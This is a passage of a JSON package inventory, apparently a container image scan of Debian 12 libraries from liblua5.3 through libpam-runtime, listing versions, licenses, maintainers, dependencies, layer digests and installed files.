"sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblua5.3-c++.so.0.0.0", "/usr/lib/x86_64-linux-gnu/liblua5.3.so.0.0.0", "/usr/share/doc/liblua5.3-0/changelog.Debian.gz", "/usr/share/doc/liblua5.3-0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "liblz4-1@1.9.4-1", "Name": "liblz4-1", "Identifier": { "PURL": "pkg:deb/debian/liblz4-1@1.9.4-1?arch=amd64\u0026distro=debian-12.13", "UID": "29d13c0b3de2e847" }, "Version": "1.9.4", "Release": "1", "Arch": "amd64", "SrcName": "lz4", "SrcVersion": "1.9.4", "SrcRelease": "1", "Licenses": [ "BSD-2-Clause", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Nobuhiro Iwamatsu \u003ciwamatsu@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblz4.so.1.9.4", "/usr/share/doc/liblz4-1/changelog.Debian.gz", "/usr/share/doc/liblz4-1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "liblzma5@5.4.1-1", "Name": "liblzma5", "Identifier": { "PURL": "pkg:deb/debian/liblzma5@5.4.1-1?arch=amd64\u0026distro=debian-12.13", "UID": "b0396dfa770cbeab" }, "Version": "5.4.1", "Release": "1", "Arch": "amd64", "SrcName": "xz-utils", "SrcVersion": "5.4.1", "SrcRelease": "1", "Licenses": [ "PD", "probably-PD", "GPL-2.0-or-later", "LGPL-2.1-or-later", "permissive-fsf", "Autoconf", "permissive-nowarranty", "GPL-2.0-only", "none", "config-h", "LGPL-2.0-only", "LGPL-2.1-only", "noderivs", "PD-debian", "GPL-3.0-only" ], "Maintainer": "Sebastian Andrzej Siewior \u003csebastian@breakpoint.cc\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/liblzma.so.5.4.1", "/usr/share/doc/liblzma5/AUTHORS", "/usr/share/doc/liblzma5/NEWS.gz", "/usr/share/doc/liblzma5/THANKS", "/usr/share/doc/liblzma5/changelog.Debian.gz", "/usr/share/doc/liblzma5/changelog.gz", "/usr/share/doc/liblzma5/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libmd0@1.0.4-2", "Name": "libmd0", "Identifier": { "PURL": "pkg:deb/debian/libmd0@1.0.4-2?arch=amd64\u0026distro=debian-12.13", "UID": "e4ec15353abb6750" }, "Version": "1.0.4", "Release": "2", "Arch": "amd64", "SrcName": "libmd", "SrcVersion": "1.0.4", "SrcRelease": "2", "Licenses": [ "BSD-3-Clause", "BSD-3-clause-Aaron-D-Gifford", "BSD-2-Clause", "BSD-2-Clause-NetBSD", "ISC", "Beerware", "public-domain-md4", "public-domain-md5", "public-domain-sha1" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmd.so.0.0.5", "/usr/share/doc/libmd0/changelog.Debian.gz", "/usr/share/doc/libmd0/changelog.gz", "/usr/share/doc/libmd0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libmount1@2.38.1-5+deb12u3", "Name": "libmount1", "Identifier": { "PURL": "pkg:deb/debian/libmount1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "660648258d99e18b" }, "Version": "2.38.1", "Release": "5+deb12u3", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.38.1", "SrcRelease": "5+deb12u3", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "public-domain", "BSD-4-Clause", "MIT", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "LGPL-2.1-or-later", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "util-linux packagers \u003cutil-linux@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libblkid1@2.38.1-5+deb12u3", "libc6@2.36-9+deb12u13", "libselinux1@3.4-1+b6" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmount.so.1.1.0", "/usr/share/doc/libmount1/changelog.Debian.gz", "/usr/share/doc/libmount1/changelog.gz", "/usr/share/doc/libmount1/copyright", "/usr/share/lintian/overrides/libmount1" ], "AnalyzedBy": "dpkg" }, { "ID": "libmpc3@1.3.1-1", "Name": "libmpc3", "Identifier": { "PURL": "pkg:deb/debian/libmpc3@1.3.1-1?arch=amd64\u0026distro=debian-12.13", "UID": "72b2b60d229a4601" }, "Version": "1.3.1", "Release": "1", "Arch": "amd64", "SrcName": "mpclib3", "SrcVersion": "1.3.1", "SrcRelease": "1", "Licenses": [ "LGPL-3.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgmp10@2:6.2.1+dfsg1-1.1", "libmpfr6@4.2.0-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmpc.so.3.3.1", "/usr/share/doc/libmpc3/changelog.Debian.gz", "/usr/share/doc/libmpc3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libmpfr6@4.2.0-1", "Name": "libmpfr6", "Identifier": { "PURL": "pkg:deb/debian/libmpfr6@4.2.0-1?arch=amd64\u0026distro=debian-12.13", "UID": "5c762cbd55353163" }, "Version": "4.2.0", "Release": "1", "Arch": "amd64", "SrcName": "mpfr4", "SrcVersion": "4.2.0", "SrcRelease": "1", "Licenses": [ "LGPL-3.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgmp10@2:6.2.1+dfsg1-1.1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmpfr.so.6.2.0", "/usr/share/doc/libmpfr6/AUTHORS", "/usr/share/doc/libmpfr6/BUGS", "/usr/share/doc/libmpfr6/NEWS.gz", "/usr/share/doc/libmpfr6/README", "/usr/share/doc/libmpfr6/TODO.gz", "/usr/share/doc/libmpfr6/changelog.Debian.gz", "/usr/share/doc/libmpfr6/changelog.gz", "/usr/share/doc/libmpfr6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libncursesw6@6.4-4", "Name": "libncursesw6", "Identifier": { "PURL": "pkg:deb/debian/libncursesw6@6.4-4?arch=amd64\u0026distro=debian-12.13", "UID": "64a48e73899d1efa" }, "Version": "6.4", "Release": "4", "Arch": "amd64", "SrcName": "ncurses", "SrcVersion": "6.4", "SrcRelease": "4", "Maintainer": "Craig Small \u003ccsmall@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libtinfo6@6.4-4" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libncursesw.so.6.4", "/usr/lib/x86_64-linux-gnu/libformw.so.6.4", "/usr/lib/x86_64-linux-gnu/libmenuw.so.6.4", "/usr/lib/x86_64-linux-gnu/libpanelw.so.6.4" ], "AnalyzedBy": "dpkg" }, { "ID": "libnettle8@3.8.1-2", "Name": "libnettle8", "Identifier": { "PURL": "pkg:deb/debian/libnettle8@3.8.1-2?arch=amd64\u0026distro=debian-12.13", "UID": "55bbf5303be06dcb" }, "Version": "3.8.1", "Release": "2", "Arch": "amd64", "SrcName": "nettle", "SrcVersion": "3.8.1", "SrcRelease": "2", "Licenses": [ "LGPL-3.0-or-later", "GPL-2.0-or-later", "LGPL-2.0-or-later", "LGPL-2.0-only", "MIT", "GPL-3.0-or-later", "GPL-3.0-with-autoconf-exception+", "public-domain", "GPL-2.0-only", "GAP" ], "Maintainer": "Magnus Holmgren \u003cholmgren@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libnettle.so.8.6", "/usr/share/doc/libnettle8/NEWS.gz", "/usr/share/doc/libnettle8/README", "/usr/share/doc/libnettle8/changelog.Debian.gz", "/usr/share/doc/libnettle8/changelog.gz", "/usr/share/doc/libnettle8/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libnghttp2-14@1.52.0-1+deb12u2", "Name": "libnghttp2-14", "Identifier": { "PURL": "pkg:deb/debian/libnghttp2-14@1.52.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "f550c77239f60f59" }, "Version": "1.52.0", "Release": "1+deb12u2", "Arch": "amd64", "SrcName": "nghttp2", "SrcVersion": "1.52.0", "SrcRelease": "1+deb12u2", "Licenses": [ "MIT", "all-permissive", "GPL-3.0-with-autoconf-exception+", "BSD-2-Clause", "GPL-3.0-only" ], "Maintainer": "Tomasz Buchert \u003ctomasz@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libnghttp2.so.14.24.1", "/usr/share/doc/libnghttp2-14/AUTHORS", "/usr/share/doc/libnghttp2-14/README.rst.gz", "/usr/share/doc/libnghttp2-14/changelog.Debian.gz", "/usr/share/doc/libnghttp2-14/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libnsl-dev@1.3.0-2", "Name": "libnsl-dev", "Identifier": { "PURL": "pkg:deb/debian/libnsl-dev@1.3.0-2?arch=amd64\u0026distro=debian-12.13", "UID": "3da3255b0bb0b601" }, "Version": "1.3.0", "Release": "2", "Arch": "amd64", "SrcName": "libnsl", "SrcVersion": "1.3.0", "SrcRelease": "2", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "BSD-3-Clause", "permissive-fsf", "permissive-makefile-in", "permissive-autoconf-m4-no-warranty", "GPL-3+-autoconf-exception", "permissive-configure", "GPL-2+-autoconf-exception", "MIT", "GPL-2+-libtool-exception", "permissive-autoconf-m4", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libnsl2@1.3.0-2", "libtirpc-dev@1.3.3+ds-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/include/rpcsvc/nis.h", "/usr/include/rpcsvc/nis.x", "/usr/include/rpcsvc/nis_callback.h", "/usr/include/rpcsvc/nis_callback.x", "/usr/include/rpcsvc/nis_object.x", "/usr/include/rpcsvc/nis_tags.h", "/usr/include/rpcsvc/nislib.h", "/usr/include/rpcsvc/yp.h", "/usr/include/rpcsvc/yp.x", "/usr/include/rpcsvc/yp_prot.h", "/usr/include/rpcsvc/ypclnt.h", "/usr/include/rpcsvc/yppasswd.h", "/usr/include/rpcsvc/yppasswd.x", "/usr/include/rpcsvc/ypupd.h", "/usr/lib/x86_64-linux-gnu/libnsl.a", "/usr/lib/x86_64-linux-gnu/pkgconfig/libnsl.pc", "/usr/share/doc/libnsl-dev/changelog.Debian.gz", "/usr/share/doc/libnsl-dev/changelog.gz", "/usr/share/doc/libnsl-dev/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libnsl2@1.3.0-2", "Name": "libnsl2", "Identifier": { "PURL": "pkg:deb/debian/libnsl2@1.3.0-2?arch=amd64\u0026distro=debian-12.13", "UID": "4bdd098122d62dc9" }, "Version": "1.3.0", "Release": "2", "Arch": "amd64", "SrcName": "libnsl", "SrcVersion": "1.3.0", "SrcRelease": "2", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "BSD-3-Clause", "permissive-fsf", "permissive-makefile-in", "permissive-autoconf-m4-no-warranty", "GPL-3+-autoconf-exception", "permissive-configure", "GPL-2+-autoconf-exception", "MIT", "GPL-2+-libtool-exception", "permissive-autoconf-m4", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libtirpc3@1.3.3+ds-1" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libnsl.so.2.0.1", "/usr/share/doc/libnsl2/changelog.Debian.gz", "/usr/share/doc/libnsl2/changelog.gz", "/usr/share/doc/libnsl2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libnspr4@2:4.35-1", "Name": "libnspr4", "Identifier": { "PURL": "pkg:deb/debian/libnspr4@4.35-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "e29106f4cc9c776d" }, "Version": "4.35", "Release": "1", "Epoch": 2, "Arch": "amd64", "SrcName": "nspr", "SrcVersion": "4.35", "SrcRelease": "1", "SrcEpoch": 2, "Licenses": [ "MPL-2.0" ], "Maintainer": "Maintainers of Mozilla-related packages \u003cteam+pkg-mozilla@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libnspr4.so", "/usr/lib/x86_64-linux-gnu/libplc4.so", "/usr/lib/x86_64-linux-gnu/libplds4.so", "/usr/share/doc/libnspr4/changelog.Debian.gz", "/usr/share/doc/libnspr4/copyright", "/usr/share/lintian/overrides/libnspr4" ], "AnalyzedBy": "dpkg" }, { "ID": "libnss3@2:3.87.1-1+deb12u1", "Name": "libnss3", "Identifier": { "PURL": "pkg:deb/debian/libnss3@3.87.1-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "aea7fcbe660b1006" }, "Version": "3.87.1", "Release": "1+deb12u1", "Epoch": 2, "Arch": "amd64", "SrcName": "nss", "SrcVersion": "3.87.1", "SrcRelease": "1+deb12u1", "SrcEpoch": 2, "Licenses": [ "MPL-2.0", "Zlib", "BSD-3-Clause", "public-domain" ], "Maintainer": "Maintainers of Mozilla-related packages \u003cteam+pkg-mozilla@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libnspr4@2:4.35-1", "libsqlite3-0@3.40.1-2+deb12u2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libfreebl3.chk", "/usr/lib/x86_64-linux-gnu/libfreebl3.so", "/usr/lib/x86_64-linux-gnu/libfreeblpriv3.chk", "/usr/lib/x86_64-linux-gnu/libfreeblpriv3.so", "/usr/lib/x86_64-linux-gnu/libnss3.so", "/usr/lib/x86_64-linux-gnu/libnssckbi.so", "/usr/lib/x86_64-linux-gnu/libnssdbm3.chk", "/usr/lib/x86_64-linux-gnu/libnssdbm3.so", "/usr/lib/x86_64-linux-gnu/libnssutil3.so", "/usr/lib/x86_64-linux-gnu/libsmime3.so", "/usr/lib/x86_64-linux-gnu/libsoftokn3.chk", "/usr/lib/x86_64-linux-gnu/libsoftokn3.so", "/usr/lib/x86_64-linux-gnu/libssl3.so", "/usr/share/doc/libnss3/changelog.Debian.gz", "/usr/share/doc/libnss3/copyright", "/usr/share/lintian/overrides/libnss3" ], "AnalyzedBy": "dpkg" }, { "ID": "libopus0@1.3.1-3", "Name": "libopus0", "Identifier": { "PURL": "pkg:deb/debian/libopus0@1.3.1-3?arch=amd64\u0026distro=debian-12.13", "UID": "e69461c3966a693f" }, "Version": "1.3.1", "Release": "3", "Arch": "amd64", "SrcName": "opus", "SrcVersion": "1.3.1", "SrcRelease": "3", "Licenses": [ "BSD-3-Clause", "BSD-2-Clause" ], "Maintainer": "Debian Multimedia Maintainers \u003cdebian-multimedia@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libopus.so.0.8.0", "/usr/share/doc/libopus0/changelog.Debian.gz", "/usr/share/doc/libopus0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libp11-kit0@0.24.1-2", "Name": "libp11-kit0", "Identifier": { "PURL": "pkg:deb/debian/libp11-kit0@0.24.1-2?arch=amd64\u0026distro=debian-12.13", "UID": "3301858c72fde63f" }, "Version": "0.24.1", "Release": "2", "Arch": "amd64", "SrcName": "p11-kit", "SrcVersion": "0.24.1", "SrcRelease": "2", "Licenses": [ "BSD-3-Clause", "permissive-like-automake-output", "ISC", "ISC+IBM", "LGPL-2.1-or-later", "Apache-2.0", "same-as-rest-of-p11kit", "LGPL-2.1-only" ], "Maintainer": "Debian GnuTLS Maintainers \u003cpkg-gnutls-maint@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libffi8@3.4.4-1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0", "/usr/share/doc/libp11-kit0/changelog.Debian.gz", "/usr/share/doc/libp11-kit0/changelog.gz", "/usr/share/doc/libp11-kit0/copyright", "/usr/share/doc/libp11-kit0/examples/pkcs11.conf.example" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam-modules@1.5.2-6+deb12u2", "Name": "libpam-modules", "Identifier": { "PURL": "pkg:deb/debian/libpam-modules@1.5.2-6%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "1c34e641d558b279" }, "Version": "1.5.2", "Release": "6+deb12u2", "Arch": "amd64", "SrcName": "pam", "SrcVersion": "1.5.2", "SrcRelease": "6+deb12u2", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/security/pam_access.so", "/lib/x86_64-linux-gnu/security/pam_debug.so", "/lib/x86_64-linux-gnu/security/pam_deny.so", "/lib/x86_64-linux-gnu/security/pam_echo.so", "/lib/x86_64-linux-gnu/security/pam_env.so", "/lib/x86_64-linux-gnu/security/pam_exec.so", "/lib/x86_64-linux-gnu/security/pam_faildelay.so", "/lib/x86_64-linux-gnu/security/pam_faillock.so", "/lib/x86_64-linux-gnu/security/pam_filter.so", "/lib/x86_64-linux-gnu/security/pam_ftp.so", "/lib/x86_64-linux-gnu/security/pam_group.so", "/lib/x86_64-linux-gnu/security/pam_issue.so", "/lib/x86_64-linux-gnu/security/pam_keyinit.so", "/lib/x86_64-linux-gnu/security/pam_lastlog.so", "/lib/x86_64-linux-gnu/security/pam_limits.so", "/lib/x86_64-linux-gnu/security/pam_listfile.so", "/lib/x86_64-linux-gnu/security/pam_localuser.so", "/lib/x86_64-linux-gnu/security/pam_loginuid.so", "/lib/x86_64-linux-gnu/security/pam_mail.so", "/lib/x86_64-linux-gnu/security/pam_mkhomedir.so", "/lib/x86_64-linux-gnu/security/pam_motd.so", "/lib/x86_64-linux-gnu/security/pam_namespace.so", "/lib/x86_64-linux-gnu/security/pam_nologin.so", "/lib/x86_64-linux-gnu/security/pam_permit.so", "/lib/x86_64-linux-gnu/security/pam_pwhistory.so", "/lib/x86_64-linux-gnu/security/pam_rhosts.so", "/lib/x86_64-linux-gnu/security/pam_rootok.so", "/lib/x86_64-linux-gnu/security/pam_securetty.so", "/lib/x86_64-linux-gnu/security/pam_selinux.so", "/lib/x86_64-linux-gnu/security/pam_sepermit.so", "/lib/x86_64-linux-gnu/security/pam_setquota.so", "/lib/x86_64-linux-gnu/security/pam_shells.so", "/lib/x86_64-linux-gnu/security/pam_stress.so", "/lib/x86_64-linux-gnu/security/pam_succeed_if.so", "/lib/x86_64-linux-gnu/security/pam_time.so", "/lib/x86_64-linux-gnu/security/pam_timestamp.so", "/lib/x86_64-linux-gnu/security/pam_tty_audit.so", "/lib/x86_64-linux-gnu/security/pam_umask.so", "/lib/x86_64-linux-gnu/security/pam_unix.so", "/lib/x86_64-linux-gnu/security/pam_userdb.so", "/lib/x86_64-linux-gnu/security/pam_usertype.so", "/lib/x86_64-linux-gnu/security/pam_warn.so", "/lib/x86_64-linux-gnu/security/pam_wheel.so", "/lib/x86_64-linux-gnu/security/pam_xauth.so", "/usr/share/doc/libpam-modules/NEWS.Debian.gz", "/usr/share/doc/libpam-modules/changelog.Debian.gz", "/usr/share/doc/libpam-modules/changelog.gz", "/usr/share/doc/libpam-modules/copyright", "/usr/share/doc/libpam-modules/examples/upperLOWER.c", "/usr/share/lintian/overrides/libpam-modules", "/usr/share/man/man5/access.conf.5.gz", "/usr/share/man/man5/faillock.conf.5.gz", "/usr/share/man/man5/group.conf.5.gz", "/usr/share/man/man5/limits.conf.5.gz", "/usr/share/man/man5/namespace.conf.5.gz", "/usr/share/man/man5/pam_env.conf.5.gz", "/usr/share/man/man5/sepermit.conf.5.gz", "/usr/share/man/man5/time.conf.5.gz", "/usr/share/man/man7/pam_env.7.gz", "/usr/share/man/man7/pam_selinux.7.gz", "/usr/share/man/man8/pam_access.8.gz", "/usr/share/man/man8/pam_debug.8.gz", "/usr/share/man/man8/pam_deny.8.gz", "/usr/share/man/man8/pam_echo.8.gz", "/usr/share/man/man8/pam_exec.8.gz", "/usr/share/man/man8/pam_faildelay.8.gz", "/usr/share/man/man8/pam_faillock.8.gz", "/usr/share/man/man8/pam_filter.8.gz", "/usr/share/man/man8/pam_ftp.8.gz", "/usr/share/man/man8/pam_group.8.gz", "/usr/share/man/man8/pam_issue.8.gz", "/usr/share/man/man8/pam_keyinit.8.gz", "/usr/share/man/man8/pam_lastlog.8.gz", "/usr/share/man/man8/pam_limits.8.gz", "/usr/share/man/man8/pam_listfile.8.gz", "/usr/share/man/man8/pam_localuser.8.gz", "/usr/share/man/man8/pam_loginuid.8.gz", "/usr/share/man/man8/pam_mail.8.gz", "/usr/share/man/man8/pam_mkhomedir.8.gz", "/usr/share/man/man8/pam_motd.8.gz", "/usr/share/man/man8/pam_namespace.8.gz", "/usr/share/man/man8/pam_nologin.8.gz", "/usr/share/man/man8/pam_permit.8.gz", "/usr/share/man/man8/pam_pwhistory.8.gz", "/usr/share/man/man8/pam_rhosts.8.gz", "/usr/share/man/man8/pam_rootok.8.gz", "/usr/share/man/man8/pam_securetty.8.gz", "/usr/share/man/man8/pam_sepermit.8.gz", "/usr/share/man/man8/pam_setquota.8.gz", "/usr/share/man/man8/pam_shells.8.gz", "/usr/share/man/man8/pam_stress.8.gz", "/usr/share/man/man8/pam_succeed_if.8.gz", "/usr/share/man/man8/pam_time.8.gz", "/usr/share/man/man8/pam_timestamp.8.gz", "/usr/share/man/man8/pam_tty_audit.8.gz", "/usr/share/man/man8/pam_umask.8.gz", "/usr/share/man/man8/pam_unix.8.gz", "/usr/share/man/man8/pam_userdb.8.gz", "/usr/share/man/man8/pam_usertype.8.gz", "/usr/share/man/man8/pam_warn.8.gz", "/usr/share/man/man8/pam_wheel.8.gz", "/usr/share/man/man8/pam_xauth.8.gz", "/usr/share/pam-configs/mkhomedir" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam-modules-bin@1.5.2-6+deb12u2", "Name": "libpam-modules-bin", "Identifier": { "PURL": "pkg:deb/debian/libpam-modules-bin@1.5.2-6%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "eec09d178936eb5d" }, "Version": "1.5.2", "Release": "6+deb12u2", "Arch": "amd64", "SrcName": "pam", "SrcVersion": "1.5.2", "SrcRelease": "6+deb12u2", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:3.0.9-1", "libc6@2.36-9+deb12u13", "libcrypt1@1:4.4.33-2", "libpam0g@1.5.2-6+deb12u2", "libselinux1@3.4-1+b6" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/sbin/mkhomedir_helper", "/sbin/pam_namespace_helper", "/sbin/pwhistory_helper", "/sbin/unix_chkpwd", "/sbin/unix_update", "/usr/lib/systemd/system/pam_namespace.service", "/usr/sbin/faillock", "/usr/sbin/pam_timestamp_check", "/usr/share/doc/libpam-modules-bin/NEWS.Debian.gz", "/usr/share/doc/libpam-modules-bin/changelog.Debian.gz", "/usr/share/doc/libpam-modules-bin/changelog.gz", "/usr/share/doc/libpam-modules-bin/copyright", "/usr/share/lintian/overrides/libpam-modules-bin", "/usr/share/man/man5/environment.5.gz", "/usr/share/man/man8/faillock.8.gz", "/usr/share/man/man8/mkhomedir_helper.8.gz", "/usr/share/man/man8/pam_namespace_helper.8.gz", "/usr/share/man/man8/pam_timestamp_check.8.gz", "/usr/share/man/man8/pwhistory_helper.8.gz", "/usr/share/man/man8/unix_chkpwd.8.gz", "/usr/share/man/man8/unix_update.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam-runtime@1.5.2-6+deb12u2", "Name": "libpam-runtime", "Identifier": { "PURL": "pkg:deb/debian/libpam-runtime@1.5.2-6%2Bdeb12u2?arch=all\u0026distro=debian-12.13", "UID": "47e594e0f52955ae" }, "Version": "1.5.2", "Release": "6+deb12u2", "Arch": "all", "SrcName": "pam", "SrcVersion": "1.5.2", "SrcRelease": "6+deb12u2", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.82", "libpam-modules@1.5.2-6+deb12u2" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/sbin/pam-auth-update", "/usr/sbin/pam_getenv", "/usr/share/doc/libpam-runtime/NEWS.Debian.gz", "/usr/share/doc/libpam-runtime/changelog.Debian.gz", "/usr/share/doc/libpam-runtime/changelog.gz", "/usr/share/doc/libpam-runtime/copyright", "/usr/share/lintian/overrides/libpam-runtime", "/usr/share/locale/af/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/am/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ar/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/as/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/az/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/be/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bg/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bn_IN/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bs/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ca/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/cs/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/cy/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/da/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/de/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/de_CH/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/el/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/eo/LC_MESSAGES/Linux-PAM.mo", 